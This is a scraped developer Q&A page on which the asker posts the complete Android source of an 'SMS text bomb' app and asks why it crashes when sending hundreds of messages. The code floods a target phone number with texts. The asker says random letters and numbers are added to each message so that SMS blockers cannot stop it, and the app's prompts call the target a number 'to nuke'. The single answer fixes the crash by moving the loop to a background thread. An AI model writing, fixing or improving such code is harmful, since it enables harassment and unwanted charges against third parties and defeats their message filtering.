开发者

Application Force Close with 100 + text messages [duplicate]

开发者 https://www.devze.com 2023-03-23 22:29 出处:网络
This question already has an answer here: Closed 11 years ago. Possible Duplicate: Android application force close
This question already has an answer here: Closed 11 years ago.

Possible Duplicate:

Android application force close

Still working on my text bomb application, I've made some improvements so it cannot be blocked by a simple SMS blocker and there is validation so a user has to enter correct information or it wont send / force close. But now i'm trying to find out why it is force closing with a large amount of text messages trying to be sent.

Here is my code:

import java.util.Random;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.inputmethod.InputMethodManager;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity extends Activity {
EditText PhNumber, Message, TxtCount;
Button btnSendSMS;

/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.main);        

    //create text box to enter phone number
    PhNumber=(EditText) findViewById(R.id.PhNumber);

    //create text box to enter message
    Message=(EditText) findViewById(R.id.Message);

    //create text box to see how many times the user wants to send message
    TxtCount=(EditText) findViewById(R.id.TxtCount);

    //create button to send text message
    btnSendSMS = (Button) findViewById(R.id.btnSendSMS);

    //create listener for button
    btnSendSMS.setOnClickListener(new View.OnClickListener()

    {               
        public void onClick(View v)
            {           
                //variable for count.
                int count = 1;
                //variable for text message
                String msg = Message.getText().toString();
                //create string array of the alphabet
                String[] mArray = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", 
                        "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "r", "x", "y", "z"};
                //create variable to hold random number
                final Random r = new Random();
                //variable for phone number
                String num = PhNumber.getText().toString();
                //create array of the phone number to get the number of numbers entered.
                char[] nArray = num.toCharArray();
                //variable for the amount of text messages to send.
                String max1 = TxtCount.getText().toString();
                //variable to watch button and hide keyboard
                InputMethodManager mgr = (InputMethodManager) getSystemService(Context.INPUT_METHOD_SERVICE);
                //test to see if number has a value
                 if (num.equals("") || (nArray.length < 10))
                {
                    Toast.makeText(getApplicationContext(), "Enter a 10 digit phone number to nuke!", Toast.LENGTH_SHORT).show();
                    return;
                }
                //test to see if msg has a value
                if (msg.equals(""))
                {
                    To开发者_Go百科ast.makeText(getApplicationContext(), "Enter a message!", Toast.LENGTH_SHORT).show();
                    return;
                }           
                //test to see if there's a number of times to text
                if (max1.equals("") || (Integer.parseInt(TxtCount.getText().toString()) <= 0))
                {
                    Toast.makeText(getApplicationContext(), "Enter a number more than zero to nuke!", Toast.LENGTH_SHORT).show();
                    return;
                }               

                //if all fields have valid data -- send text message until count = max  
                int max = Integer.parseInt(TxtCount.getText().toString());
                while (count <= max) {
                    //create variable to hold random letter of the alphabet
                    String rLetter = mArray[r.nextInt(27)];
                    String rLetter2 =mArray[r.nextInt(27)];
                    final Random i = new Random();
                    sendSMS(num, (rLetter + i.nextInt(100) + rLetter2 + " " + msg + " " + rLetter + i.nextInt(100) +rLetter2));
                    count++;
                };
                //hide the keyboard
                mgr.hideSoftInputFromWindow(TxtCount.getWindowToken(), 0);
                mgr.hideSoftInputFromWindow(PhNumber.getWindowToken(), 0);
                mgr.hideSoftInputFromWindow(Message.getWindowToken(), 0);
                //set phone number to ""
                PhNumber.setText("");
                //set message to ""
                Message.setText("");
                //set count to ""
                TxtCount.setText("");
                //refocus on phone number
                PhNumber.requestFocus();                    
            }           
    });        
}
//sends a sms message to another device
private void sendSMS(String phoneNumber, String message)
    {       
        SmsManager sms = SmsManager.getDefault();
        sms.sendTextMessage(phoneNumber, null, message, null, null);
    }
}


You are trying to do a time intensive operation on the ui thread. Run the while loop in a background thread. http://www.vogella.de/articles/AndroidPerformance/article.html#concurrency_asynchtask

0

精彩评论

暂无评论...
验证码 换一张
取 消